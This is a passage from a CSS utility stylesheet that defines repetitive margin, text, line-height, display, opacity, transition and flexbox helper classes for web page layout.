49px;}\r\n.m-l-50 {margin-left: 50px;}\r\n.m-l-51 {margin-left: 51px;}\r\n.m-l-52 {margin-left: 52px;}\r\n.m-l-53 {margin-left: 53px;}\r\n.m-l-54 {margin-left: 54px;}\r\n.m-l-55 {margin-left: 55px;}\r\n.m-l-56 {margin-left: 56px;}\r\n.m-l-57 {margin-left: 57px;}\r\n.m-l-58 {margin-left: 58px;}\r\n.m-l-59 {margin-left: 59px;}\r\n.m-l-60 {margin-left: 60px;}\r\n.m-l-61 {margin-left: 61px;}\r\n.m-l-62 {margin-left: 62px;}\r\n.m-l-63 {margin-left: 63px;}\r\n.m-l-64 {margin-left: 64px;}\r\n.m-l-65 {margin-left: 65px;}\r\n.m-l-66 {margin-left: 66px;}\r\n.m-l-67 {margin-left: 67px;}\r\n.m-l-68 {margin-left: 68px;}\r\n.m-l-69 {margin-left: 69px;}\r\n.m-l-70 {margin-left: 70px;}\r\n.m-l-71 {margin-left: 71px;}\r\n.m-l-72 {margin-left: 72px;}\r\n.m-l-73 {margin-left: 73px;}\r\n.m-l-74 {margin-left: 74px;}\r\n.m-l-75 {margin-left: 75px;}\r\n.m-l-76 {margin-left: 76px;}\r\n.m-l-77 {margin-left: 77px;}\r\n.m-l-78 {margin-left: 78px;}\r\n.m-l-79 {margin-left: 79px;}\r\n.m-l-80 {margin-left: 80px;}\r\n.m-l-81 {margin-left: 81px;}\r\n.m-l-82 {margin-left: 82px;}\r\n.m-l-83 {margin-left: 83px;}\r\n.m-l-84 {margin-left: 84px;}\r\n.m-l-85 {margin-left: 85px;}\r\n.m-l-86 {margin-left: 86px;}\r\n.m-l-87 {margin-left: 87px;}\r\n.m-l-88 {margin-left: 88px;}\r\n.m-l-89 {margin-left: 89px;}\r\n.m-l-90 {margin-left: 90px;}\r\n.m-l-91 {margin-left: 91px;}\r\n.m-l-92 {margin-left: 92px;}\r\n.m-l-93 {margin-left: 93px;}\r\n.m-l-94 {margin-left: 94px;}\r\n.m-l-95 {margin-left: 95px;}\r\n.m-l-96 {margin-left: 96px;}\r\n.m-l-97 {margin-left: 97px;}\r\n.m-l-98 {margin-left: 98px;}\r\n.m-l-99 {margin-left: 99px;}\r\n.m-l-100 {margin-left: 100px;}\r\n.m-l-101 {margin-left: 101px;}\r\n.m-l-102 {margin-left: 102px;}\r\n.m-l-103 {margin-left: 103px;}\r\n.m-l-104 {margin-left: 104px;}\r\n.m-l-105 {margin-left: 105px;}\r\n.m-l-106 {margin-left: 106px;}\r\n.m-l-107 {margin-left: 107px;}\r\n.m-l-108 {margin-left: 108px;}\r\n.m-l-109 {margin-left: 109px;}\r\n.m-l-110 {margin-left: 110px;}\r\n.m-l-111 {margin-left: 111px;}\r\n.m-l-112 {margin-left: 112px;}\r\n.m-l-113 {margin-left: 113px;}\r\n.m-l-114 {margin-left: 114px;}\r\n.m-l-115 {margin-left: 115px;}\r\n.m-l-116 {margin-left: 116px;}\r\n.m-l-117 {margin-left: 117px;}\r\n.m-l-118 {margin-left: 118px;}\r\n.m-l-119 {margin-left: 119px;}\r\n.m-l-120 {margin-left: 120px;}\r\n.m-l-121 {margin-left: 121px;}\r\n.m-l-122 {margin-left: 122px;}\r\n.m-l-123 {margin-left: 123px;}\r\n.m-l-124 {margin-left: 124px;}\r\n.m-l-125 {margin-left: 125px;}\r\n.m-l-126 {margin-left: 126px;}\r\n.m-l-127 {margin-left: 127px;}\r\n.m-l-128 {margin-left: 128px;}\r\n.m-l-129 {margin-left: 129px;}\r\n.m-l-130 {margin-left: 130px;}\r\n.m-l-131 {margin-left: 131px;}\r\n.m-l-132 {margin-left: 132px;}\r\n.m-l-133 {margin-left: 133px;}\r\n.m-l-134 {margin-left: 134px;}\r\n.m-l-135 {margin-left: 135px;}\r\n.m-l-136 {margin-left: 136px;}\r\n.m-l-137 {margin-left: 137px;}\r\n.m-l-138 {margin-left: 138px;}\r\n.m-l-139 {margin-left: 139px;}\r\n.m-l-140 {margin-left: 140px;}\r\n.m-l-141 {margin-left: 141px;}\r\n.m-l-142 {margin-left: 142px;}\r\n.m-l-143 {margin-left: 143px;}\r\n.m-l-144 {margin-left: 144px;}\r\n.m-l-145 {margin-left: 145px;}\r\n.m-l-146 {margin-left: 146px;}\r\n.m-l-147 {margin-left: 147px;}\r\n.m-l-148 {margin-left: 148px;}\r\n.m-l-149 {margin-left: 149px;}\r\n.m-l-150 {margin-left: 150px;}\r\n.m-l-151 {margin-left: 151px;}\r\n.m-l-152 {margin-left: 152px;}\r\n.m-l-153 {margin-left: 153px;}\r\n.m-l-154 {margin-left: 154px;}\r\n.m-l-155 {margin-left: 155px;}\r\n.m-l-156 {margin-left: 156px;}\r\n.m-l-157 {margin-left: 157px;}\r\n.m-l-158 {margin-left: 158px;}\r\n.m-l-159 {margin-left: 159px;}\r\n.m-l-160 {margin-left: 160px;}\r\n.m-l-161 {margin-left: 161px;}\r\n.m-l-162 {margin-left: 162px;}\r\n.m-l-163 {margin-left: 163px;}\r\n.m-l-164 {margin-left: 164px;}\r\n.m-l-165 {margin-left: 165px;}\r\n.m-l-166 {margin-left: 166px;}\r\n.m-l-167 {margin-left: 167px;}\r\n.m-l-168 {margin-left: 168px;}\r\n.m-l-169 {margin-left: 169px;}\r\n.m-l-170 {margin-left: 170px;}\r\n.m-l-171 {margin-left: 171px;}\r\n.m-l-172 {margin-left: 172px;}\r\n.m-l-173 {margin-left: 173px;}\r\n.m-l-174 {margin-left: 174px;}\r\n.m-l-175 {margin-left: 175px;}\r\n.m-l-176 {margin-left: 176px;}\r\n.m-l-177 {margin-left: 177px;}\r\n.m-l-178 {margin-left: 178px;}\r\n.m-l-179 {margin-left: 179px;}\r\n.m-l-180 {margin-left: 180px;}\r\n.m-l-181 {margin-left: 181px;}\r\n.m-l-182 {margin-left: 182px;}\r\n.m-l-183 {margin-left: 183px;}\r\n.m-l-184 {margin-left: 184px;}\r\n.m-l-185 {margin-left: 185px;}\r\n.m-l-186 {margin-left: 186px;}\r\n.m-l-187 {margin-left: 187px;}\r\n.m-l-188 {margin-left: 188px;}\r\n.m-l-189 {margin-left: 189px;}\r\n.m-l-190 {margin-left: 190px;}\r\n.m-l-191 {margin-left: 191px;}\r\n.m-l-192 {margin-left: 192px;}\r\n.m-l-193 {margin-left: 193px;}\r\n.m-l-194 {margin-left: 194px;}\r\n.m-l-195 {margin-left: 195px;}\r\n.m-l-196 {margin-left: 196px;}\r\n.m-l-197 {margin-left: 197px;}\r\n.m-l-198 {margin-left: 198px;}\r\n.m-l-199 {margin-left: 199px;}\r\n.m-l-200 {margin-left: 200px;}\r\n.m-l-201 {margin-left: 201px;}\r\n.m-l-202 {margin-left: 202px;}\r\n.m-l-203 {margin-left: 203px;}\r\n.m-l-204 {margin-left: 204px;}\r\n.m-l-205 {margin-left: 205px;}\r\n.m-l-206 {margin-left: 206px;}\r\n.m-l-207 {margin-left: 207px;}\r\n.m-l-208 {margin-left: 208px;}\r\n.m-l-209 {margin-left: 209px;}\r\n.m-l-210 {margin-left: 210px;}\r\n.m-l-211 {margin-left: 211px;}\r\n.m-l-212 {margin-left: 212px;}\r\n.m-l-213 {margin-left: 213px;}\r\n.m-l-214 {margin-left: 214px;}\r\n.m-l-215 {margin-left: 215px;}\r\n.m-l-216 {margin-left: 216px;}\r\n.m-l-217 {margin-left: 217px;}\r\n.m-l-218 {margin-left: 218px;}\r\n.m-l-219 {margin-left: 219px;}\r\n.m-l-220 {margin-left: 220px;}\r\n.m-l-221 {margin-left: 221px;}\r\n.m-l-222 {margin-left: 222px;}\r\n.m-l-223 {margin-left: 223px;}\r\n.m-l-224 {margin-left: 224px;}\r\n.m-l-225 {margin-left: 225px;}\r\n.m-l-226 {margin-left: 226px;}\r\n.m-l-227 {margin-left: 227px;}\r\n.m-l-228 {margin-left: 228px;}\r\n.m-l-229 {margin-left: 229px;}\r\n.m-l-230 {margin-left: 230px;}\r\n.m-l-231 {margin-left: 231px;}\r\n.m-l-232 {margin-left: 232px;}\r\n.m-l-233 {margin-left: 233px;}\r\n.m-l-234 {margin-left: 234px;}\r\n.m-l-235 {margin-left: 235px;}\r\n.m-l-236 {margin-left: 236px;}\r\n.m-l-237 {margin-left: 237px;}\r\n.m-l-238 {margin-left: 238px;}\r\n.m-l-239 {margin-left: 239px;}\r\n.m-l-240 {margin-left: 240px;}\r\n.m-l-241 {margin-left: 241px;}\r\n.m-l-242 {margin-left: 242px;}\r\n.m-l-243 {margin-left: 243px;}\r\n.m-l-244 {margin-left: 244px;}\r\n.m-l-245 {margin-left: 245px;}\r\n.m-l-246 {margin-left: 246px;}\r\n.m-l-247 {margin-left: 247px;}\r\n.m-l-248 {margin-left: 248px;}\r\n.m-l-249 {margin-left: 249px;}\r\n.m-l-250 {margin-left: 250px;}\r\n.m-r-0 {margin-right: 0px;}\r\n.m-r-1 {margin-right: 1px;}\r\n.m-r-2 {margin-right: 2px;}\r\n.m-r-3 {margin-right: 3px;}\r\n.m-r-4 {margin-right: 4px;}\r\n.m-r-5 {margin-right: 5px;}\r\n.m-r-6 {margin-right: 6px;}\r\n.m-r-7 {margin-right: 7px;}\r\n.m-r-8 {margin-right: 8px;}\r\n.m-r-9 {margin-right: 9px;}\r\n.m-r-10 {margin-right: 10px;}\r\n.m-r-11 {margin-right: 11px;}\r\n.m-r-12 {margin-right: 12px;}\r\n.m-r-13 {margin-right: 13px;}\r\n.m-r-14 {margin-right: 14px;}\r\n.m-r-15 {margin-right: 15px;}\r\n.m-r-16 {margin-right: 16px;}\r\n.m-r-17 {margin-right: 17px;}\r\n.m-r-18 {margin-right: 18px;}\r\n.m-r-19 {margin-right: 19px;}\r\n.m-r-20 {margin-right: 20px;}\r\n.m-r-21 {margin-right: 21px;}\r\n.m-r-22 {margin-right: 22px;}\r\n.m-r-23 {margin-right: 23px;}\r\n.m-r-24 {margin-right: 24px;}\r\n.m-r-25 {margin-right: 25px;}\r\n.m-r-26 {margin-right: 26px;}\r\n.m-r-27 {margin-right: 27px;}\r\n.m-r-28 {margin-right: 28px;}\r\n.m-r-29 {margin-right: 29px;}\r\n.m-r-30 {margin-right: 30px;}\r\n.m-r-31 {margin-right: 31px;}\r\n.m-r-32 {margin-right: 32px;}\r\n.m-r-33 {margin-right: 33px;}\r\n.m-r-34 {margin-right: 34px;}\r\n.m-r-35 {margin-right: 35px;}\r\n.m-r-36 {margin-right: 36px;}\r\n.m-r-37 {margin-right: 37px;}\r\n.m-r-38 {margin-right: 38px;}\r\n.m-r-39 {margin-right: 39px;}\r\n.m-r-40 {margin-right: 40px;}\r\n.m-r-41 {margin-right: 41px;}\r\n.m-r-42 {margin-right: 42px;}\r\n.m-r-43 {margin-right: 43px;}\r\n.m-r-44 {margin-right: 44px;}\r\n.m-r-45 {margin-right: 45px;}\r\n.m-r-46 {margin-right: 46px;}\r\n.m-r-47 {margin-right: 47px;}\r\n.m-r-48 {margin-right: 48px;}\r\n.m-r-49 {margin-right: 49px;}\r\n.m-r-50 {margin-right: 50px;}\r\n.m-r-51 {margin-right: 51px;}\r\n.m-r-52 {margin-right: 52px;}\r\n.m-r-53 {margin-right: 53px;}\r\n.m-r-54 {margin-right: 54px;}\r\n.m-r-55 {margin-right: 55px;}\r\n.m-r-56 {margin-right: 56px;}\r\n.m-r-57 {margin-right: 57px;}\r\n.m-r-58 {margin-right: 58px;}\r\n.m-r-59 {margin-right: 59px;}\r\n.m-r-60 {margin-right: 60px;}\r\n.m-r-61 {margin-right: 61px;}\r\n.m-r-62 {margin-right: 62px;}\r\n.m-r-63 {margin-right: 63px;}\r\n.m-r-64 {margin-right: 64px;}\r\n.m-r-65 {margin-right: 65px;}\r\n.m-r-66 {margin-right: 66px;}\r\n.m-r-67 {margin-right: 67px;}\r\n.m-r-68 {margin-right: 68px;}\r\n.m-r-69 {margin-right: 69px;}\r\n.m-r-70 {margin-right: 70px;}\r\n.m-r-71 {margin-right: 71px;}\r\n.m-r-72 {margin-right: 72px;}\r\n.m-r-73 {margin-right: 73px;}\r\n.m-r-74 {margin-right: 74px;}\r\n.m-r-75 {margin-right: 75px;}\r\n.m-r-76 {margin-right: 76px;}\r\n.m-r-77 {margin-right: 77px;}\r\n.m-r-78 {margin-right: 78px;}\r\n.m-r-79 {margin-right: 79px;}\r\n.m-r-80 {margin-right: 80px;}\r\n.m-r-81 {margin-right: 81px;}\r\n.m-r-82 {margin-right: 82px;}\r\n.m-r-83 {margin-right: 83px;}\r\n.m-r-84 {margin-right: 84px;}\r\n.m-r-85 {margin-right: 85px;}\r\n.m-r-86 {margin-right: 86px;}\r\n.m-r-87 {margin-right: 87px;}\r\n.m-r-88 {margin-right: 88px;}\r\n.m-r-89 {margin-right: 89px;}\r\n.m-r-90 {margin-right: 90px;}\r\n.m-r-91 {margin-right: 91px;}\r\n.m-r-92 {margin-right: 92px;}\r\n.m-r-93 {margin-right: 93px;}\r\n.m-r-94 {margin-right: 94px;}\r\n.m-r-95 {margin-right: 95px;}\r\n.m-r-96 {margin-right: 96px;}\r\n.m-r-97 {margin-right: 97px;}\r\n.m-r-98 {margin-right: 98px;}\r\n.m-r-99 {margin-right: 99px;}\r\n.m-r-100 {margin-right: 100px;}\r\n.m-r-101 {margin-right: 101px;}\r\n.m-r-102 {margin-right: 102px;}\r\n.m-r-103 {margin-right: 103px;}\r\n.m-r-104 {margin-right: 104px;}\r\n.m-r-105 {margin-right: 105px;}\r\n.m-r-106 {margin-right: 106px;}\r\n.m-r-107 {margin-right: 107px;}\r\n.m-r-108 {margin-right: 108px;}\r\n.m-r-109 {margin-right: 109px;}\r\n.m-r-110 {margin-right: 110px;}\r\n.m-r-111 {margin-right: 111px;}\r\n.m-r-112 {margin-right: 112px;}\r\n.m-r-113 {margin-right: 113px;}\r\n.m-r-114 {margin-right: 114px;}\r\n.m-r-115 {margin-right: 115px;}\r\n.m-r-116 {margin-right: 116px;}\r\n.m-r-117 {margin-right: 117px;}\r\n.m-r-118 {margin-right: 118px;}\r\n.m-r-119 {margin-right: 119px;}\r\n.m-r-120 {margin-right: 120px;}\r\n.m-r-121 {margin-right: 121px;}\r\n.m-r-122 {margin-right: 122px;}\r\n.m-r-123 {margin-right: 123px;}\r\n.m-r-124 {margin-right: 124px;}\r\n.m-r-125 {margin-right: 125px;}\r\n.m-r-126 {margin-right: 126px;}\r\n.m-r-127 {margin-right: 127px;}\r\n.m-r-128 {margin-right: 128px;}\r\n.m-r-129 {margin-right: 129px;}\r\n.m-r-130 {margin-right: 130px;}\r\n.m-r-131 {margin-right: 131px;}\r\n.m-r-132 {margin-right: 132px;}\r\n.m-r-133 {margin-right: 133px;}\r\n.m-r-134 {margin-right: 134px;}\r\n.m-r-135 {margin-right: 135px;}\r\n.m-r-136 {margin-right: 136px;}\r\n.m-r-137 {margin-right: 137px;}\r\n.m-r-138 {margin-right: 138px;}\r\n.m-r-139 {margin-right: 139px;}\r\n.m-r-140 {margin-right: 140px;}\r\n.m-r-141 {margin-right: 141px;}\r\n.m-r-142 {margin-right: 142px;}\r\n.m-r-143 {margin-right: 143px;}\r\n.m-r-144 {margin-right: 144px;}\r\n.m-r-145 {margin-right: 145px;}\r\n.m-r-146 {margin-right: 146px;}\r\n.m-r-147 {margin-right: 147px;}\r\n.m-r-148 {margin-right: 148px;}\r\n.m-r-149 {margin-right: 149px;}\r\n.m-r-150 {margin-right: 150px;}\r\n.m-r-151 {margin-right: 151px;}\r\n.m-r-152 {margin-right: 152px;}\r\n.m-r-153 {margin-right: 153px;}\r\n.m-r-154 {margin-right: 154px;}\r\n.m-r-155 {margin-right: 155px;}\r\n.m-r-156 {margin-right: 156px;}\r\n.m-r-157 {margin-right: 157px;}\r\n.m-r-158 {margin-right: 158px;}\r\n.m-r-159 {margin-right: 159px;}\r\n.m-r-160 {margin-right: 160px;}\r\n.m-r-161 {margin-right: 161px;}\r\n.m-r-162 {margin-right: 162px;}\r\n.m-r-163 {margin-right: 163px;}\r\n.m-r-164 {margin-right: 164px;}\r\n.m-r-165 {margin-right: 165px;}\r\n.m-r-166 {margin-right: 166px;}\r\n.m-r-167 {margin-right: 167px;}\r\n.m-r-168 {margin-right: 168px;}\r\n.m-r-169 {margin-right: 169px;}\r\n.m-r-170 {margin-right: 170px;}\r\n.m-r-171 {margin-right: 171px;}\r\n.m-r-172 {margin-right: 172px;}\r\n.m-r-173 {margin-right: 173px;}\r\n.m-r-174 {margin-right: 174px;}\r\n.m-r-175 {margin-right: 175px;}\r\n.m-r-176 {margin-right: 176px;}\r\n.m-r-177 {margin-right: 177px;}\r\n.m-r-178 {margin-right: 178px;}\r\n.m-r-179 {margin-right: 179px;}\r\n.m-r-180 {margin-right: 180px;}\r\n.m-r-181 {margin-right: 181px;}\r\n.m-r-182 {margin-right: 182px;}\r\n.m-r-183 {margin-right: 183px;}\r\n.m-r-184 {margin-right: 184px;}\r\n.m-r-185 {margin-right: 185px;}\r\n.m-r-186 {margin-right: 186px;}\r\n.m-r-187 {margin-right: 187px;}\r\n.m-r-188 {margin-right: 188px;}\r\n.m-r-189 {margin-right: 189px;}\r\n.m-r-190 {margin-right: 190px;}\r\n.m-r-191 {margin-right: 191px;}\r\n.m-r-192 {margin-right: 192px;}\r\n.m-r-193 {margin-right: 193px;}\r\n.m-r-194 {margin-right: 194px;}\r\n.m-r-195 {margin-right: 195px;}\r\n.m-r-196 {margin-right: 196px;}\r\n.m-r-197 {margin-right: 197px;}\r\n.m-r-198 {margin-right: 198px;}\r\n.m-r-199 {margin-right: 199px;}\r\n.m-r-200 {margin-right: 200px;}\r\n.m-r-201 {margin-right: 201px;}\r\n.m-r-202 {margin-right: 202px;}\r\n.m-r-203 {margin-right: 203px;}\r\n.m-r-204 {margin-right: 204px;}\r\n.m-r-205 {margin-right: 205px;}\r\n.m-r-206 {margin-right: 206px;}\r\n.m-r-207 {margin-right: 207px;}\r\n.m-r-208 {margin-right: 208px;}\r\n.m-r-209 {margin-right: 209px;}\r\n.m-r-210 {margin-right: 210px;}\r\n.m-r-211 {margin-right: 211px;}\r\n.m-r-212 {margin-right: 212px;}\r\n.m-r-213 {margin-right: 213px;}\r\n.m-r-214 {margin-right: 214px;}\r\n.m-r-215 {margin-right: 215px;}\r\n.m-r-216 {margin-right: 216px;}\r\n.m-r-217 {margin-right: 217px;}\r\n.m-r-218 {margin-right: 218px;}\r\n.m-r-219 {margin-right: 219px;}\r\n.m-r-220 {margin-right: 220px;}\r\n.m-r-221 {margin-right: 221px;}\r\n.m-r-222 {margin-right: 222px;}\r\n.m-r-223 {margin-right: 223px;}\r\n.m-r-224 {margin-right: 224px;}\r\n.m-r-225 {margin-right: 225px;}\r\n.m-r-226 {margin-right: 226px;}\r\n.m-r-227 {margin-right: 227px;}\r\n.m-r-228 {margin-right: 228px;}\r\n.m-r-229 {margin-right: 229px;}\r\n.m-r-230 {margin-right: 230px;}\r\n.m-r-231 {margin-right: 231px;}\r\n.m-r-232 {margin-right: 232px;}\r\n.m-r-233 {margin-right: 233px;}\r\n.m-r-234 {margin-right: 234px;}\r\n.m-r-235 {margin-right: 235px;}\r\n.m-r-236 {margin-right: 236px;}\r\n.m-r-237 {margin-right: 237px;}\r\n.m-r-238 {margin-right: 238px;}\r\n.m-r-239 {margin-right: 239px;}\r\n.m-r-240 {margin-right: 240px;}\r\n.m-r-241 {margin-right: 241px;}\r\n.m-r-242 {margin-right: 242px;}\r\n.m-r-243 {margin-right: 243px;}\r\n.m-r-244 {margin-right: 244px;}\r\n.m-r-245 {margin-right: 245px;}\r\n.m-r-246 {margin-right: 246px;}\r\n.m-r-247 {margin-right: 247px;}\r\n.m-r-248 {margin-right: 248px;}\r\n.m-r-249 {margin-right: 249px;}\r\n.m-r-250 {margin-right: 250px;}\r\n.m-l-r-auto {margin-left: auto;\tmargin-right: auto;}\r\n.m-l-auto {margin-left: auto;}\r\n.m-r-auto {margin-right: auto;}\r\n\r\n\r\n\r\n/*[ TEXT ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n/* ------------------------------------ */\r\n.text-white {color: white;}\r\n.text-black {color: black;}\r\n\r\n.text-hov-white:hover {color: white;}\r\n\r\n/* ------------------------------------ */\r\n.text-up {text-transform: uppercase;}\r\n\r\n/* ------------------------------------ */\r\n.text-center {text-align: center;}\r\n.text-left {text-align: left;}\r\n.text-right {text-align: right;}\r\n.text-middle {vertical-align: middle;}\r\n\r\n/* ------------------------------------ */\r\n.lh-1-0 {line-height: 1.0;}\r\n.lh-1-1 {line-height: 1.1;}\r\n.lh-1-2 {line-height: 1.2;}\r\n.lh-1-3 {line-height: 1.3;}\r\n.lh-1-4 {line-height: 1.4;}\r\n.lh-1-5 {line-height: 1.5;}\r\n.lh-1-6 {line-height: 1.6;}\r\n.lh-1-7 {line-height: 1.7;}\r\n.lh-1-8 {line-height: 1.8;}\r\n.lh-1-9 {line-height: 1.9;}\r\n.lh-2-0 {line-height: 2.0;}\r\n.lh-2-1 {line-height: 2.1;}\r\n.lh-2-2 {line-height: 2.2;}\r\n.lh-2-3 {line-height: 2.3;}\r\n.lh-2-4 {line-height: 2.4;}\r\n.lh-2-5 {line-height: 2.5;}\r\n.lh-2-6 {line-height: 2.6;}\r\n.lh-2-7 {line-height: 2.7;}\r\n.lh-2-8 {line-height: 2.8;}\r\n.lh-2-9 {line-height: 2.9;}\r\n\r\n\r\n\r\n\r\n\r\n/*[ SHAPE ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n\r\n/*[ Display ]\r\n-----------------------------------------------------------\r\n*/\r\n.dis-none {display: none;}\r\n.dis-block {display: block;}\r\n.dis-inline {display: inline;}\r\n.dis-inline-block {display: inline-block;}\r\n.dis-flex {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n}\r\n\r\n/*[ Position ]\r\n-----------------------------------------------------------\r\n*/\r\n.pos-relative {position: relative;}\r\n.pos-absolute {position: absolute;}\r\n.pos-fixed {position: fixed;}\r\n\r\n/*[ float ]\r\n-----------------------------------------------------------\r\n*/\r\n.float-l {float: left;}\r\n.float-r {float: right;}\r\n\r\n\r\n/*[ Width & Height ]\r\n-----------------------------------------------------------\r\n*/\r\n.sizefull {\r\n\twidth: 100%;\r\n\theight: 100%;\r\n}\r\n.w-full {width: 100%;}\r\n.h-full {height: 100%;}\r\n.max-w-full {max-width: 100%;}\r\n.max-h-full {max-height: 100%;}\r\n.min-w-full {min-width: 100%;}\r\n.min-h-full {min-height: 100%;}\r\n\r\n/*[ Top Bottom Left Right ]\r\n-----------------------------------------------------------\r\n*/\r\n.top-0 {top: 0;}\r\n.bottom-0 {bottom: 0;}\r\n.left-0 {left: 0;}\r\n.right-0 {right: 0;}\r\n\r\n.top-auto {top: auto;}\r\n.bottom-auto {bottom: auto;}\r\n.left-auto {left: auto;}\r\n.right-auto {right: auto;}\r\n\r\n\r\n/*[ Opacity ]\r\n-----------------------------------------------------------\r\n*/\r\n.op-0-0 {opacity: 0;}\r\n.op-0-1 {opacity: 0.1;}\r\n.op-0-2 {opacity: 0.2;}\r\n.op-0-3 {opacity: 0.3;}\r\n.op-0-4 {opacity: 0.4;}\r\n.op-0-5 {opacity: 0.5;}\r\n.op-0-6 {opacity: 0.6;}\r\n.op-0-7 {opacity: 0.7;}\r\n.op-0-8 {opacity: 0.8;}\r\n.op-0-9 {opacity: 0.9;}\r\n.op-1-0 {opacity: 1;}\r\n\r\n/*[ Background ]\r\n-----------------------------------------------------------\r\n*/\r\n.bgwhite {background-color: white;}\r\n.bgblack {background-color: black;}\r\n\r\n\r\n\r\n/*[ Wrap Picture ]\r\n-----------------------------------------------------------\r\n*/\r\n.wrap-pic-w img {width: 100%;}\r\n.wrap-pic-max-w img {max-width: 100%;}\r\n\r\n/* ------------------------------------ */\r\n.wrap-pic-h img {height: 100%;}\r\n.wrap-pic-max-h img {max-height: 100%;}\r\n\r\n/* ------------------------------------ */\r\n.wrap-pic-cir {\r\n\tborder-radius: 50%;\r\n\toverflow: hidden;\r\n}\r\n.wrap-pic-cir img {\r\n\twidth: 100%;\r\n}\r\n\r\n\r\n\r\n/*[ Hover ]\r\n-----------------------------------------------------------\r\n*/\r\n.hov-pointer:hover {cursor: pointer;}\r\n\r\n/* ------------------------------------ */\r\n.hov-img-zoom {\r\n\tdisplay: block;\r\n\toverflow: hidden;\r\n}\r\n.hov-img-zoom img{\r\n\twidth: 100%;\r\n\t-webkit-transition: all 0.6s;\r\n    -o-transition: all 0.6s;\r\n    -moz-transition: all 0.6s;\r\n    transition: all 0.6s;\r\n}\r\n.hov-img-zoom:hover img {\r\n\t-webkit-transform: scale(1.1);\r\n  \t-moz-transform: scale(1.1);\r\n  \t-ms-transform: scale(1.1);\r\n  \t-o-transform: scale(1.1);\r\n\ttransform: scale(1.1);\r\n}\r\n\r\n\r\n\r\n/*[  ]\r\n-----------------------------------------------------------\r\n*/\r\n.bo-cir {border-radius: 50%;}\r\n\r\n.of-hidden {overflow: hidden;}\r\n\r\n.visible-false {visibility: hidden;}\r\n.visible-true {visibility: visible;}\r\n\r\n\r\n\r\n\r\n/*[ Transition ]\r\n-----------------------------------------------------------\r\n*/\r\n.trans-0-1 {\r\n\t-webkit-transition: all 0.1s;\r\n    -o-transition: all 0.1s;\r\n    -moz-transition: all 0.1s;\r\n    transition: all 0.1s;\r\n}\r\n.trans-0-2 {\r\n\t-webkit-transition: all 0.2s;\r\n    -o-transition: all 0.2s;\r\n    -moz-transition: all 0.2s;\r\n    transition: all 0.2s;\r\n}\r\n.trans-0-3 {\r\n\t-webkit-transition: all 0.3s;\r\n    -o-transition: all 0.3s;\r\n    -moz-transition: all 0.3s;\r\n    transition: all 0.3s;\r\n}\r\n.trans-0-4 {\r\n\t-webkit-transition: all 0.4s;\r\n    -o-transition: all 0.4s;\r\n    -moz-transition: all 0.4s;\r\n    transition: all 0.4s;\r\n}\r\n.trans-0-5 {\r\n\t-webkit-transition: all 0.5s;\r\n    -o-transition: all 0.5s;\r\n    -moz-transition: all 0.5s;\r\n    transition: all 0.5s;\r\n}\r\n.trans-0-6 {\r\n\t-webkit-transition: all 0.6s;\r\n    -o-transition: all 0.6s;\r\n    -moz-transition: all 0.6s;\r\n    transition: all 0.6s;\r\n}\r\n.trans-0-9 {\r\n\t-webkit-transition: all 0.9s;\r\n    -o-transition: all 0.9s;\r\n    -moz-transition: all 0.9s;\r\n    transition: all 0.9s;\r\n}\r\n.trans-1-0 {\r\n\t-webkit-transition: all 1s;\r\n    -o-transition: all 1s;\r\n    -moz-transition: all 1s;\r\n    transition: all 1s;\r\n}\r\n\r\n\r\n\r\n/*[ Layout ]\r\n///////////////////////////////////////////////////////////\r\n*/\r\n\r\n/*[ Flex ]\r\n-----------------------------------------------------------\r\n*/\r\n/* ------------------------------------ */\r\n.flex-w {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-wrap: wrap;\r\n\t-moz-flex-wrap: wrap;\r\n\t-ms-flex-wrap: wrap;\r\n\t-o-flex-wrap: wrap;\r\n\tflex-wrap: wrap;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-l {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: flex-start;\r\n}\r\n\r\n.flex-r {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: flex-end;\r\n}\r\n\r\n.flex-c {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n}\r\n\r\n.flex-sa {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: space-around;\r\n}\r\n\r\n.flex-sb {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: space-between;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-t {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n}\r\n\r\n.flex-b {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n}\r\n\r\n.flex-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-str {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-ms-align-items: stretch;\r\n\talign-items: stretch;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-row {\r\n\tdisplay: 